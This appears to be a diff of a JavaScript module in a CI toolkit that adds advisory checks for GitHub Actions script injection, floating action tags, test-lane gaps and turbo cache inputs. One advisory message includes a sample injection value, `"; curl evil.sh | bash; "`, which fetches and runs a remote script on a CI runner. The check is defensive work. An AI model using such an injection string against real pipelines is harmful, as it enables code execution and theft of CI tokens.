+ continue; // a commented `run:` key never opens a body
127
+ // `run:` may be the first key of a `- ` list item (`- run: |`), which shifts the real
128
+ // key column; body membership is measured from the `run:` token, not the line start, so a
129
+ // sibling key (`env:` / `if:`) at the run: column correctly closes the block.
130
+ const m = /^([ \t]*)(-[ \t]+)?run:[ \t]*(.*)$/.exec(line);
131
+ if (!m)
132
+ continue;
133
+ const keyIndent = (m[1] ?? "").length + (m[2] ?? "").length;
134
+ const rest = (m[3] ?? "").trim();
135
+ if (rest === "" || /^[|>]/.test(rest)) {
136
+ runKeyIndent = keyIndent; // block scalar (`run: |` / `run: >`) — body follows
137
+ }
138
+ else if (UNTRUSTED.test(rest)) {
139
+ hits.push(line.trim()); // inline `run: <cmd with ${{ … }}>`
140
+ }
141
+ }
142
+ if (hits.length === 0)
143
+ return null;
144
+ const shown = hits
145
+ .slice(0, 3)
146
+ .map((h) => ` ${h}`)
147
+ .join("\n");
148
+ const more = hits.length > 3 ? `\n … (+${hits.length - 3} more)` : "";
149
+ return {
150
+ id: "ci-yml-run-injection",
151
+ severity: "advisory",
152
+ detect: "SECURITY: .github/workflows/bkit-ci.yml interpolates untrusted GitHub Actions input " +
153
+ "(github.event.* / github.head_ref) directly into a run: shell body — a script-injection " +
154
+ 'sink. A PR title or branch name like `"; curl evil.sh | bash; "` then runs on your CI ' +
155
+ `runner (which holds GITHUB_TOKEN):\n${shown}${more}`,
156
+ action: "Route each untrusted value through an env: var and reference it as a shell variable — " +
157
+ "GitHub runtime-expands env values and never re-parses them as shell, closing the injection:\n\n" +
158
+ " - name: <step>\n" +
159
+ " env:\n" +
160
+ " PR_TITLE: ${{ github.event.pull_request.title }}\n" +
161
+ " run: |\n" +
162
+ ' MSG="$PR_TITLE" # NOT MSG="${{ github.event.pull_request.title }}"\n\n' +
163
+ "Apply the same env-indirection to every flagged line (github.event.*, github.head_ref). " +
164
+ "bkit's current bkit-ci.yml template already uses this form — re-sync the affected steps from " +
165
+ ".bkit/templates/.github/workflows/bkit-ci.yml if you adopted it before the hardening.",
166
+ };
167
+ }
168
+ /**
169
+ * Detect drift of the consumer's `bkit-tests-check` capstone from bkit's canonical
170
+ * CI contract. bkit-ci.yml is the consumer's copy of a template; bkit never rewrites it.
171
+ * WARNING-ONLY presence check: flags the ABSENCE of a known-good fragment, never
172
+ * "differs from canonical". Fires when bkit-ci.yml defines a bkit-tests-check job (the
173
+ * template ships one).
174
+ *
175
+ * Every check reads `code` (full-line comments stripped): the template's commented
176
+ * scaffold reference names `bkit-tests-check`, `!cancelled()` and `live_ran`.
177
+ */
178
+ export function detectCiYmlCapstoneContractDrift(cwd) {
179
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
180
+ if (!fs.existsSync(ciPath))
181
+ return null;
182
+ const content = fs.readFileSync(ciPath, "utf-8");
183
+ const code = content
184
+ .split("\n")
185
+ .filter((line) => !/^\s*#/.test(line))
186
+ .join("\n");
187
+ if (!/^\s+bkit-tests-check:/m.test(code))
188
+ return null; // no capstone job
189
+ const missing = [];
190
+ // 1. Capstone must run on !cancelled() (NOT always()) — else a concurrency-cancel
191
+ // stamps a bogus failure on the required check and blocks release PRs.
192
+ if (!code.includes("!cancelled()")) {
193
+ missing.push("the capstone `if: ${{ !cancelled() }}` guard — without it a concurrency-cancel stamps a bogus failure on the required check (use `!cancelled()`, never `always()`).");
194
+ }
195
+ // 2. One run per branch or pull request. A newer run cancels the older one on every
196
+ // event EXCEPT the default branch, which queues (a cancellation mid-promote could
197
+ // strand production across two releases). The group keys a PR on its number and a push
198
+ // on the ref — not github.run_id, which never collides and so never cancels. A push
199
+ // then plans from the last green run.
200
+ // Flagged: an unconditional cancel (the default branch would be cancelled too), a
201
+ // PR-only cancel, or a group keyed on github.run_id.
202
+ const unconditionalCancel = /cancel-in-progress:\s*true(?:\s|$)/.test(code);
203
+ const prOnlyCancel = /cancel-in-progress:\s*\$\{\{\s*github\.event_name\s*==\s*'pull_request'\s*\}\}/.test(code);
204
+ const runIdGroup = /group:[^\n]*github\.run_id/.test(code);
205
+ if (/concurrency:/.test(code) && (unconditionalCancel || prOnlyCancel || runIdGroup)) {
206
+ missing.push("one run per branch or pull request, with the default branch QUEUING — `cancel-in-progress: ${{ github.ref != 'refs/heads/<default-branch>' }}`, group `ci-${{ github.workflow }}-${{ github.event_name == 'pull_request' && format('pr-{0}', github.event.pull_request.number) || github.ref }}`. Cancelling the default branch mid-promote can strand production across two releases; a PR-only cancel, an unconditional cancel, or a group keyed on `github.run_id` also lets a superseded run keep running. A push plans from the last green run on the branch, so a cancelled run's changes stay in scope.");
207
+ }
208
+ // 3. Non-hollow capstone: every test lane's executed count must be read downstream, not
209
+ // just its result (passWithNoTests / no-CI-home / all-skipIf are green-with-zero).
210
+ // Checked per lane: one lane's count says nothing about another's.
211
+ const lanes = [
212
+ ...code.matchAll(/^\s+(bkit-tests-(?:unit|integration|e2e|live)(?:-[a-z0-9]+)*):\s*$/gm),
213
+ ].map((m) => m[1]);
214
+ const uncounted = lanes.filter((lane) => !new RegExp(`needs\\.${lane}\\.outputs\\.\\w+_(?:ran|count)\\b`).test(code));
215
+ if (uncounted.length > 0) {
216
+ missing.push(`an executed-count assertion (non-hollow gate) for ${uncounted.map((l) => "`" + l + "`").join(", ")} — the capstone should read each lane's count output (e.g. \`needs.bkit-tests-live-web.outputs.live_ran\`) and assert >0 when that tier is planned, else passWithNoTests / a tagged suite with no CI home / all-skipIf tests pass vacuously. See docs/testing.md § "Validated means executed".`);
217
+ }
218
+ if (missing.length === 0)
219
+ return null;
220
+ return {
221
+ id: "ci-yml-capstone-contract-drift",
222
+ severity: "advisory",
223
+ detect: `.github/workflows/bkit-ci.yml (adopted from bkit's template) has a bkit-tests-check capstone missing ${missing.length} ` +
224
+ "load-bearing invariant(s) from bkit's canonical CI contract. bkit-ci.yml is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.",
225
+ action: "Consider restoring these to keep `green == validated` (see the FULL CI SCAFFOLD REFERENCE in the bkit bkit-ci.yml template):\n\n" +
226
+ missing.map((m) => " - " + m).join("\n"),
227
+ };
228
+ }
229
+ // Tag-gated tiers invoked via a per-package script: a tagged test whose owning package
230
+ // declares no matching script is silently skipped by `turbo run <script>` (exits 0) —
231
+ // the tag is dead and the tier ghost-greens. Suffix-based tiers (integration via
232
+ // *.integration.test.ts) are covered by the bkit-ci.yml template's own missing-script warning.
233
+ const TAG_SCRIPT_HOMES = [
234
+ { tag: "@live", script: "test:live" },
235
+ { tag: "@smoke", script: "test:smoke" },
236
+ ];
237
+ const HOME_WALK_SKIP_DIRS = new Set([
238
+ "node_modules",
239
+ ".git",
240
+ ".worktrees", // local git worktree roots — checkouts of the same repo, not part of it
241
+ "dist",
242
+ ".next",
243
+ "coverage",
244
+ ".turbo",
245
+ "playwright-report",
246
+ "test-results",
247
+ ".vercel",
248
+ ]);
249
+ function walkRepoForHomeCheck(dir, testFiles, packageJsons, depth = 0) {
250
+ if (depth > 8)
251
+ return;
252
+ let entries;
253
+ try {
254
+ entries = fs.readdirSync(dir, { withFileTypes: true });
255
+ }
256
+ catch (err) {
257
+ // Unreadable directory (permissions / not-a-dir race): skip this subtree, logged
258
+ // under BKIT_DEBUG.
259
+ if (process.env.BKIT_DEBUG)
260
+ console.error(`[bkit] home-check skipped ${dir}: ${err.message}`);
261
+ return;
262
+ }
263
+ for (const e of entries) {
264
+ const full = path.join(dir, e.name);
265
+ if (e.isDirectory()) {
266
+ if (HOME_WALK_SKIP_DIRS.has(e.name))
267
+ continue;
268
+ walkRepoForHomeCheck(full, testFiles, packageJsons, depth + 1);
269
+ }
270
+ else if (e.name === "package.json") {
271
+ packageJsons.push(full);
272
+ }
273
+ else if (/\.(test|spec)\.[cm]?tsx?$/.test(e.name)) {
274
+ testFiles.push(full);
275
+ }
276
+ }
277
+ }
278
+ // A tag gates a tier by appearing in a test's NAME — the runner selects it with a
279
+ // `-t @live` / `--testNamePattern` filter, which matches the test TITLE. So only a tag
280
+ // inside a test-title string is a real tagged test; the same token in a code comment or
281
+ // an unrelated string literal (e.g. a doc-comment that documents the convention) is not.
282
+ // Matches the tag inside the title argument of it / test / describe / bench / suite,
283
+ // including `.only` / `.skip` / `.each(table)` chains and ' " ` quotes.
284
+ const TEST_DEF_TITLE = /\b(?:it|test|describe|bench|suite)(?:\.\w+)*\s*(?:\([^)]*\)\s*)?\(\s*(['"`])((?:\\.|(?!\1)[\s\S])*?)\1/g;
285
+ // Mark every byte that sits inside a string, template literal, or comment. A REAL
286
+ // test definition's `it`/`describe` keyword is code (mask 0); a keyword that appears
287
+ // INSIDE a string is a fixture — a tag-linter package embeds sample test source as a
288
+ // string literal (`const F = \`describe("@live X", …)\``) to lint it. Masked keyword
289
+ // positions are skipped; real, runnable tests are never authored inside a quote.
290
+ //
291
+ // `'`/`"` strings terminate at end-of-line; only template literals span lines, so a
292
+ // mis-lex from a regex literal containing a lone quote stays on its own line. Regex
293
+ // literals are otherwise treated as plain code.
294
+ function stringCommentMask(text) {
295
+ const mask = new Uint8Array(text.length);
296
+ const n = text.length;
297
+ let i = 0;
298
+ while (i < n) {
299
+ const c = text[i];
300
+ if (c === "/" && text[i + 1] === "/") {
301
+ while (i < n && text[i] !== "\n")
302
+ mask[i++] = 1;
303
+ continue;
304
+ }
305
+ if (c === "/" && text[i + 1] === "*") {
306
+ mask[i++] = 1;
307
+ mask[i++] = 1;
308
+ while (i < n && !(text[i] === "*" && text[i + 1] === "/"))
309
+ mask[i++] = 1;
310
+ if (i < n) {
311
+ mask[i++] = 1;
312
+ mask[i++] = 1;
313
+ }
314
+ continue;
315
+ }
316
+ if (c === '"' || c === "'" || c === "`") {
317
+ const singleLine = c !== "`";
318
+ mask[i++] = 1;
319
+ while (i < n) {
320
+ if (text[i] === "\\") {
321
+ mask[i++] = 1;
322
+ if (i < n)
323
+ mask[i++] = 1;
324
+ continue;
325
+ }
326
+ if (text[i] === c) {
327
+ mask[i++] = 1;
328
+ break;
329
+ }
330
+ if (singleLine && text[i] === "\n")
331
+ break; // unterminated — stop at line end
332
+ mask[i++] = 1;
333
+ }
334
+ continue;
335
+ }
336
+ i++;
337
+ }
338
+ return mask;
339
+ }
340
+ function tagUsedInTestTitle(text, tag, mask) {
341
+ TEST_DEF_TITLE.lastIndex = 0;
342
+ let m;
343
+ while ((m = TEST_DEF_TITLE.exec(text)) !== null) {
344
+ if (mask[m.index])
345
+ continue; // keyword sits inside a string/comment — a fixture, not a real test
346
+ if (m[2].includes(tag))
347
+ return true;
348
+ }
349
+ return false;
350
+ }
351
+ /**
352
+ * Detect `@live` / `@smoke`-tagged tests whose owning package declares no matching
353
+ * `test:live` / `test:smoke` script — they have "no CI home": `turbo run test:live`
354
+ * skips a package with no such script and exits 0, so the tagged tests never run and the
355
+ * live/smoke tier reports green having executed nothing.
356
+ *
357
+ * Only flags a tag when the convention is ACTIVE in the repo (at least one package
358
+ * declares the script); a silent no-op otherwise. WARNING-only; the capstone's
359
+ * `run_live => live_ran > 0` assertion is the runtime check.
360
+ *
361
+ * A package whose own `package.json` opts out (`bkit.ignoreAdvisories`) is dropped from the
362
+ * list and reported via `onSuppressed`; sibling packages keep flagging, because the finding
363
+ * aggregates every affected package into one entry.
364
+ */
365
+ export function detectTaggedTestsWithoutCiHome(cwd, onSuppressed) {
366
+ const testFiles = [];
367
+ const packageJsons = [];
368
+ walkRepoForHomeCheck(cwd, testFiles, packageJsons);
369
+ if (testFiles.length === 0 || packageJsons.length === 0)
370
+ return null;
371
+ // pkgPath -> scripts object; and the set of every script name declared anywhere.
372
+ const pkgScripts = new Map();
373
+ const declaredScripts = new Set();
374
+ for (const pj of packageJsons) {
375
+ try {
376
+ const parsed = JSON.parse(fs.readFileSync(pj, "utf-8"));
377
+ const scripts = parsed.scripts ?? {};
378
+ pkgScripts.set(pj, scripts);
379
+ for (const name of Object.keys(scripts))
380
+ declaredScripts.add(name);
381
+ }
382
+ catch {
383
+ pkgScripts.set(pj, {});
384
+ }
385
+ }
386
+ const nearestPkg = (fileDir) => {
387
+ let dir = fileDir;
388
+ for (;;) {
389
+ const pj = path.join(dir, "package.json");
390
+ if (pkgScripts.has(pj))
391
+ return pj;
392
+ const parent = path.dirname(dir);
393
+ if (parent === dir || dir === cwd)
394
+ return pkgScripts.has(pj) ? pj : null;
395
+ dir = parent;
396
+ }
397
+ };
398
+ const homeless = new Map(); // tag -> set of "pkgdir (needs `script`)"
399
+ const suppressedPkgs = new Set(); // pkgs opted out — one note each, however many files
400
+ for (const file of testFiles) {
401
+ let text;
402
+ try {
403
+ text = fs.readFileSync(file, "utf-8");
404
+ }
405
+ catch {
406
+ continue;
407
+ }
408
+ let mask = null; // lazily built on the first tag that survives fast-reject
409
+ for (const { tag, script } of TAG_SCRIPT_HOMES) {
410
+ if (!declaredScripts.has(script))
411
+ continue; // convention not active for this tag
412
+ if (!text.includes(tag))
413
+ continue; // fast reject before the title-context regex
414
+ mask ??= stringCommentMask(text);
415
+ if (!tagUsedInTestTitle(text, tag, mask))
416
+ continue; // tag must be in a real test TITLE, not a comment/string/fixture
417
+ const pj = nearestPkg(path.dirname(file));
418
+ if (!pj)
419
+ continue;
420
+ if (typeof pkgScripts.get(pj)?.[script] !== "string") {
421
+ const pkgDir = path.dirname(pj);
422
+ const rel = path.relative(cwd, pkgDir) || ".";
423
+ if (isAdvisorySuppressed(pkgDir, "tagged-tests-no-ci-home", "advisory")) {
424
+ if (!suppressedPkgs.has(rel)) {
425
+ suppressedPkgs.add(rel);
426
+ onSuppressed?.({ id: "tagged-tests-no-ci-home", scope: rel });
427
+ }
428
+ continue; // drop only this package; a sibling package keeps flagging
429
+ }
430
+ if (!homeless.has(tag))
431
+ homeless.set(tag, new Set());
432
+ homeless.get(tag)?.add(rel);
433
+ }
434
+ }
435
+ }
436
+ if (homeless.size === 0)
437
+ return null;
438
+ const lines = [];
439
+ for (const { tag, script } of TAG_SCRIPT_HOMES) {
440
+ const pkgs = homeless.get(tag);
441
+ if (pkgs && pkgs.size > 0) {
442
+ lines.push(` ${tag} (run by \`turbo run ${script}\`) → add \`${script}\` to: ${[...pkgs].sort().join(", ")}`);
443
+ }
444
+ }
445
+ return {
446
+ id: "tagged-tests-no-ci-home",
447
+ severity: "advisory",
448
+ detect: "Found `@live`/`@smoke`-tagged tests in package(s) that declare no matching `test:live`/`test:smoke` script. `turbo run test:live` skips a package with no such script and exits 0 — the tagged tests never run, and the tier reports green having executed nothing (ghost-green / 'no CI home').",
449
+ action: "Give each tagged suite a CI home — add the matching script to the package's package.json so the live/smoke tier actually invokes it:\n\n" +
450
+ lines.join("\n") +
451
+ '\n\nExample: `"test:live": "vitest run --project live"` (or your runner\'s tag filter). The bkit-tests-check capstone\'s `run_live => live_ran > 0` assertion is the runtime backstop; this catches it earlier.' +
452
+ "\n\nFalse positive? A title that only MENTIONS the tag (a rule linter describing it, a meta/guard test naming the scenario) is indistinguishable from a real tagged test. Opt that package out in its package.json — per-package, and it drops only that package from this list:\n\n" +
453
+ ' "bkit": { "ignoreAdvisories": ["tagged-tests-no-ci-home"] }',
454
+ };
455
+ }
456
+ // ---------------------------------------------------------------------------
457
+ // Consumer customisations that bkit ships primitives for but does NOT enforce
458
+ // — turbo inputs, integration runtime env, GHA pinning, renovate, etc.
459
+ // ---------------------------------------------------------------------------
460
+ /**
461
+ * Detect whether the consumer's turbo.json declares external-state proxies in
462
+ * `inputs` for `test:integration` / `test:e2e` tasks. Without proxies, turbo's
463
+ * content-keyed cache can replay a stale green when external state (Supabase
464
+ * migrations, fixture data, env templates) changed — the BAR-192 ghost-green
465
+ * failure mode documented in KN-24. Returns null when no turbo.json or no
466
+ * matching tasks.
467
+ */
468
+ export function detectTurboIntegrationInputs(cwd) {
469
+ const findings = [];
470
+ const turboPath = path.join(cwd, "turbo.json");
471
+ if (!fs.existsSync(turboPath))
472
+ return findings;
473
+ let doc;
474
+ try {
475
+ doc = JSON.parse(fs.readFileSync(turboPath, "utf-8"));
476
+ }
477
+ catch {
478
+ return findings;
479
+ }
480
+ // turbo v2 → `tasks`; turbo v1 → `pipeline`. Either may be present.
481
+ const tasks = doc.tasks ?? doc.pipeline ?? {};
482
+ const externalProxyHints = ["migrations", "fixtures", "seed", ".env"];
483
+ for (const taskName of ["test:integration", "test:e2e"]) {
484
+ const task = tasks[taskName];
485
+ if (!task)
486
+ continue;
487
+ const inputs = Array.isArray(task.inputs) ? task.inputs : [];
488
+ const hasProxy = inputs.some((i) => externalProxyHints.some((hint) => typeof i === "string" && i.toLowerCase().includes(hint)));
489
+ if (hasProxy)
490
+ continue;
491
+ findings.push({
492
+ id: `turbo-${taskName.replace(":", "-")}-inputs-missing`,
493
+ severity: "advisory",
494
+ detect: `turbo.json#${tasks === doc.pipeline ? "pipeline" : "tasks"}.${taskName} has no external-state proxies in \`inputs\` (no migrations / fixtures / seed / .env entries).`,
495
+ action: `Add the external-state proxies that affect this task's outcome to \`inputs\`:\n\n` +
496
+ ` "${taskName}": {\n` +
497
+ ` "cache": true,\n` +
498
+ ` "inputs": ["supabase/migrations/**", "**/fixtures/**", "**/.env.*.template"]\n` +
499
+ ` }\n\n` +
500
+ `Without them, turbo cache replays can ghost-green a stale SHA (KN-24): a concurrent migration on dev between PR-CI and merge-CI does NOT bust the cache, so the merge run replays the pre-migration green. Adjust the glob set to match your consumer's external-state surface.`,
501
+ });
502
+ }
503
+ return findings;
504
+ }
505
+ /**
506
+ * Detect whether the consumer's `test:integration` lane asserts real-service runtime
507
+ * env (TEST_REAL_APIS, SUPABASE_*, service-role URL refs). A lane that silently mocks
508
+ * integration tests passes CI without exercising real services (KN-23). Returns null if
509
+ * no `test:integration` script.
510
+ *
511
+ * All three gating layers are inspected before flagging a no-op lane: (1) the script
512
+ * string itself, (2) the CI workflow job that invokes `test:integration` (an
513
+ * env-agnostic script provisioned at the lane), (3) the vitest integration config the
514
+ * script points at (home of the documented in-file guard).
515
+ *
516
+ * Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.ignoreAdvisories`
517
+ * entry there drops the finding and reports it via `onSuppressed`.
518
+ */
519
+ export function detectTestIntegrationEnv(cwd, onSuppressed) {
520
+ const read = readPackageJson(cwd);
521
+ if (!read.ok)
522
+ return null;
523
+ const pkg = read.pkg;
524
+ const script = pkg.scripts?.["test:integration"];
525
+ if (!script)
526
+ return null;
527
+ if (isAdvisorySuppressed(cwd, "test-integration-env-not-asserted", "advisory")) {
528
+ onSuppressed?.({ id: "test-integration-env-not-asserted", scope: "." });
529
+ return null;
530
+ }
531
+ const realServiceHints = [
532
+ "TEST_REAL_APIS",
533
+ "SUPABASE_SERVICE_ROLE",
534
+ "SUPABASE_URL",
535
+ "service_role",
536
+ "supabase start",
537
+ ];
538
+ const hasHint = (t) => realServiceHints.some((h) => t.includes(h));
539
+ // 1. Script body / chain (consumers commonly wrap real-API setup in a sibling script).
540
+ if (hasHint(script))
541
+ return null;
542
+ // 2. CI workflow lane: a workflow file that BOTH invokes `test:integration` AND
543
+ // provisions a real-service hint is the lane doing the gating — the pattern for an
544
+ // env-agnostic script (`supabase start` + `TEST_REAL_APIS` +
545
+ // service-role export around `turbo run test:integration`).
546
+ const workflowsDir = path.join(cwd, ".github", "workflows");
547
+ if (fs.existsSync(workflowsDir) && fs.statSync(workflowsDir).isDirectory()) {
548
+ for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
549
+ if (!entry.isFile() || !/\.ya?ml$/.test(entry.name))
550
+ continue;
551
+ const wf = fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8");
552
+ if (wf.includes("test:integration") && hasHint(wf))
553
+ return null;
554
+ }
555
+ }
556
+ // 3. vitest integration config the script points at (or a conventional default) —
557
+ // where consumers document/enforce the per-file `TEST_REAL_APIS` guard.
558
+ const configFromScript = /--config[=\s]+(\S+)/.exec(script)?.[1];
559
+ const configCandidates = [
560
+ ...(configFromScript ? [configFromScript] : []),
561
+ "vitest.integration.config.ts",
562
+ "vitest.integration.config.mts",
563
+ "vitest.integration.config.js",
564
+ ];
565
+ for (const rel of configCandidates) {
566
+ const cfgPath = path.join(cwd, rel);
567
+ if (fs.existsSync(cfgPath) && hasHint(fs.readFileSync(cfgPath, "utf-8")))
568
+ return null;
569
+ }
570
+ return {
571
+ id: "test-integration-env-not-asserted",
572
+ severity: "advisory",
573
+ detect: "`package.json#scripts.test:integration` exists, but no real-service env gating (TEST_REAL_APIS, SUPABASE_SERVICE_ROLE, service-role URL, or a `supabase start` chain) was found in the script, the CI workflow lane that runs it, or the vitest integration config.",
574
+ action: "Confirm integration tests actually exercise real services — otherwise the CI integration step (your own, or the one in bkit's bkit-ci.yml template once adopted) is a no-op (KN-23 false-confidence loop). Provision the real-service env at ANY one of these layers (all are recognised):\n\n" +
575
+ ' - script: "test:integration": "TEST_REAL_APIS=true SUPABASE_URL=$SUPABASE_DEV_URL vitest run --config=vitest.integration.config.ts"\n' +
576
+ " - CI lane: set `TEST_REAL_APIS` / export the service-role URL / chain `supabase start` around `turbo run test:integration` in the `.github/workflows/*.yml` job that runs it (keeps local `pnpm test:integration` env-agnostic)\n" +
577
+ " - vitest integration config: document/enforce the per-file `TEST_REAL_APIS` guard in the config the script `--config`s to.\n\n" +
578
+ "Mocked by design (real-service coverage lives in E2E)? Opt out in the root package.json:\n\n" +
579
+ ' "bkit": { "ignoreAdvisories": ["test-integration-env-not-asserted"] }',
580
+ };
581
+ }
582
+ /**
583
+ * Detect whether `.github/workflows/<file>.yml` uses floating action tag
584
+ * references (`uses: <owner>/<repo>@v\d+`) without SHA pinning. KN-3 mandates
585
+ * SHA pins for any workflow that runs with elevated permissions. Every workflow file
586
+ * is the consumer's (bkit ships workflows as templates only), so every one is scanned.
587
+ */
588
+ export function detectGhaFloatingTags(cwd) {
589
+ const workflowsDir = path.join(cwd, ".github", "workflows");
590
+ if (!fs.existsSync(workflowsDir) || !fs.statSync(workflowsDir).isDirectory())
591
+ return null;
592
+ const floatingByFile = new Map();
593
+ for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
594
+ if (!entry.isFile())
595
+ continue;
596
+ if (!/\.ya?ml$/.test(entry.name))
597
+ continue;
598
+ const content = fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8");
599
+ // Matches `uses: org/repo@v1`, `uses: org/repo@v1.2.3`, but NOT `uses: org/repo@<40-char-sha>`.
600
+ const re = /uses:\s*([^\s@]+@v[\d.]+)/g;
601
+ const matches = Array.from(content.matchAll(re), (m) => m[1]);
602
+ if (matches.length > 0)
603
+ floatingByFile.set(entry.name, matches);
604
+ }
605
+ if (floatingByFile.size === 0)
606
+ return null;
607
+ const lines = Array.from(floatingByFile.entries())
608
+ .map(([file, refs]) => ` ${file}: ${refs.join(", ")}`)
609
+ .join("\n");
610
+ return {
611
+ id: "gha-actions-floating-tags",
612
+ severity: "advisory",
613
+ detect: `.github/workflows/ uses floating-tag action refs (KN-3). Affected files:\n${lines}`,
614
+ action: "Replace each `@vN[.N.N]` with a 40-character commit SHA and a `# vN.N.N` comment, e.g.:\n\n" +
615
+ " - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n\n" +
616
+ "Look up SHAs with `git ls-remote https://github.com/<org>/<repo>.git 'refs/tags/v*' | tail -3`. Apply to ALL workflow files that run with elevated permissions (`packages: write`, `id-token: write`). Copy `.github/renovate.json5` or `.github/dependabot.yml` from the bkit examples so SHA pins refresh on upstream releases. See docs/deployments.md § Dependency updaters.",
617
+ };
618
+ }
619
+ /**
620
+ * Detect whether the consumer composed a gate on bkit's `Detect Direct Push` step
621
+ * outputs (`should_force_build` / `should_run_full`). The bkit-ci.yml template ships these
622
+ * primitives only — without a consumer-side gate reading the outputs, the force-tag
623
+ * system documented in deployments.md is documentation-only.
624
+ *
625
+ * "Composition" = a `steps.detect.outputs.should_*` READ on an uncommented line, in a
626
+ * sibling workflow or in bkit-ci.yml itself. bkit's shipped steps only SET these outputs and
627
+ * the example E2E gate ships commented (`bkit-stub:e2e`), so neither false-positives.
628
+ */
629
+ export function detectRunLevelsNotComposed(cwd) {
630
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
631
+ if (!fs.existsSync(ciPath))
632
+ return null;
633
+ const ciContent = fs.readFileSync(ciPath, "utf-8");
634
+ // Bkit's bkit-ci.yml ships the `Detect Direct Push` step — if absent, no primitives to compose.
635
+ if (!ciContent.includes("Detect Direct Push"))
636
+ return null;
637
+ const workflowsDir = path.join(cwd, ".github", "workflows");
638
+ // A consumer "composes" run-levels by READING bkit's force-tag outputs in a gate
639
+ // (`steps.detect.outputs.should_*`). bkit's own shipped bkit-ci.yml only SETS those outputs
640
+ // (`echo "should_force_build=true" >> $GITHUB_OUTPUT`) and gates internal steps on
641
+ // `cache.outputs.skip` — neither is consumer composition. So we look for the READ form,
642
+ // on uncommented lines only (the shipped `bkit-stub:e2e` block reads the outputs but is
643
+ // commented out by default — enabling it correctly counts as composition).
644
+ // bkit-ci.yml is the consumer's file, so matching the read form is what distinguishes a
645
+ // consumer gate.
646
+ const readTokens = [
647
+ "steps.detect.outputs.should_force_build",
648
+ "steps.detect.outputs.should_run_full",
649
+ ];
650
+ const composesRunLevels = (content) => content
651
+ .split("\n")
652
+ .some((line) => !/^\s*#/.test(line) && readTokens.some((tok) => line.includes(tok)));
653
+ let composed = false;
654
+ // Any sibling workflow that gates on the outputs.
655
+ for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
656
+ if (!entry.isFile() || !/\.ya?ml$/.test(entry.name))
657
+ continue;
658
+ if (entry.name === "bkit-ci.yml")
659
+ continue; // checked below
660
+ if (composesRunLevels(fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8"))) {
661
+ composed = true;
662
+ break;
663
+ }
664
+ }
665
+ // Or a consumer-added gate inside bkit-ci.yml itself (e.g. an enabled bkit-stub:e2e block,
666
+ // or a deploy/job step reading the outputs).
667
+ if (!composed && composesRunLevels(ciContent))
668
+ composed = true;
669
+ if (composed)
670
+ return null;
671
+ return {
672
+ id: "run-levels-not-composed",
673
+ severity: "advisory",
674
+ detect: ".github/workflows/bkit-ci.yml ships bkit's `Detect Direct Push` step outputs (`should_force_build`, `should_run_full`, `cache.outputs.skip`) but no consumer-side workflow or step gates on them.",
675
+ action: "`docs/deployments.md` documents bkit's none / partial / full run-level shape — the matrix is documentation-only until you compose at least one consumer-side gate. Examples:\n\n" +
676
+ " - A deploy job: `if: steps.detect.outputs.should_force_build == 'true' || github.ref == 'refs/heads/main'`\n" +
677
+ " - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n" +
678
+ " - A smoke workflow: copy the `bkit-stub:smoke` block to `.github/workflows/smoke.yml`.\n\n" +
679
+ "If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the `Detect Direct Push` step from bkit-ci.yml. Note this also disables `[force cache]` / `[force build]` / `[force full]` tag detection.",
680
+ };
681
+ }